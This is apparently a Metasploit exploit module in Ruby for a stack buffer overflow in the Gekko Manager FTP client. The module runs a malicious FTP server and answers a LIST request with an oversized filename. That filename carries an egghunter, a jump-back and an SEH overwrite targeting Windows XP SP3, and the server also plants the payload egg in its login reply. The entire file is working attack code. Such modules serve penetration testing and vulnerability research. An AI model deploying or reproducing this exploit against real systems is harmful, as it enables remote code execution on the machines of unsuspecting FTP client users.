Gekko Manager FTP Client Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gekko Manager FTP Client Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Gekko Manager ftp client, triggered when
          processing the response received after sending a LIST request. If this response contains
          a long filename, a buffer overflow occurs, overwriting a structured exception handler.
        },
        'Author' => [
          'nullthreat',	# found the bug
          'corelanc0d3r <peter.ve[at]corelan.be>',	# wrote the exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-20034' ],
          [ 'OSVDB', '68641'],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'XP SP3 Universal', { 'Offset' => 376, 'Ret' => 0x00553C72 } ], # ppr Gekko manager.exe
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-10-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  #---------------------------------------------------------------------------------

  def setup
    super
    badchars = "\x00\xff\x0d\x5c\x2f\x0a"
    eggoptions =
      {
        :checksum => true,
        :eggtag => "W00T"
      }
    @hunter, @egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    enchunter = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], @hunter, ::Msf::Module::PlatformList.win32, badchars)
    @hunter = enchunter
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_pass(c, arg)
    c.put("230 OK #{@egg}\r\n")
    return
  end

  def on_client_command_list(c, arg)
    conn = establish_data_connection(c)
    if (not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    print_status(" - Data connection set up")

    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")
    code = 226
    c.put("#{code} Directory send ok.\r\n")

    # Setup for the shellcode
    offset_to_nseh = target['Offset']
    jmpback = "\xeb\x8d\xfe\xff\xff"
    nseh = "\xeb\xf9\x41\x41"
    seh = [target.ret].pack('V')
    strfile = "A" * (offset_to_nseh - @hunter.length - 5)
    strfile << @hunter
    strfile << jmpback
    strfile << nseh
    strfile << seh

    print_status(" - Sending directory list via data connection")
    dirlist = "-rw-rw-r--    1 1176     1176         1060 Apr 23 23:17  #{strfile}.txt\r\n\r\n"
    conn.put(dirlist)
    conn.close
    print_status(" - Payload sent, wait for hunter...")
    return
  end
end